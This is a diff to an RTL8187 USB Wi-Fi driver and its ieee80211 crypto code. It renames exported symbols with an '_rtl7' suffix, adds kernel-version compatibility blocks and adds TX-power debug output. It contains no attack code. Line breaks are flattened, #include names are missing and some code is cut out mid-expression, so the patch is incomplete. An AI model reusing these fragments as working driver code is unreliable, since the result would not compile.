priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1901,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +1936,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +1965,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2055,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2121,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2144,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2158,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2202,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2341,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2359,17 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); - + struct iwreq *wrq = (struct iwreq *)rq; - + int ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2378,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2321,9 +2390,9 @@ int status,len,flen; struct sk_buff *skb; u32 *desc; - + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2335,17 +2404,17 @@ //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - + desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - + stats.signal = (desc[1] & 0x7f00)>>8; stats.noise = desc[1] &0xff; stats.rate = desc[0] >> 20 & 0xf; @@ -2353,22 +2422,23 @@ stats.mac_time[1] = desc[3]; skb = dev_alloc_skb(flen-4); //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - if(!ieee80211_rx(priv->ieee80211, + + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2446,9 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - + } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2466,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2488,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2536,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2553,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2570,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2583,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2598,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_txpower/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8187.h 2007-04-23 00:08:15.000000000 +0200 @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -148,7 +153,7 @@ u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; // struct timer_list scan_timer; /*short scanpending; diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_txpower/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.c 2007-04-23 00:09:00.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c 2007-04-23 00:09:00.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -59,7 +69,7 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -75,7 +85,7 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -105,7 +115,7 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) @@ -114,7 +124,7 @@ } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +132,7 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +196,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +247,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +255,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +272,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +336,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +347,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,7 +375,7 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; @@ -396,7 +406,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +430,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +447,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } 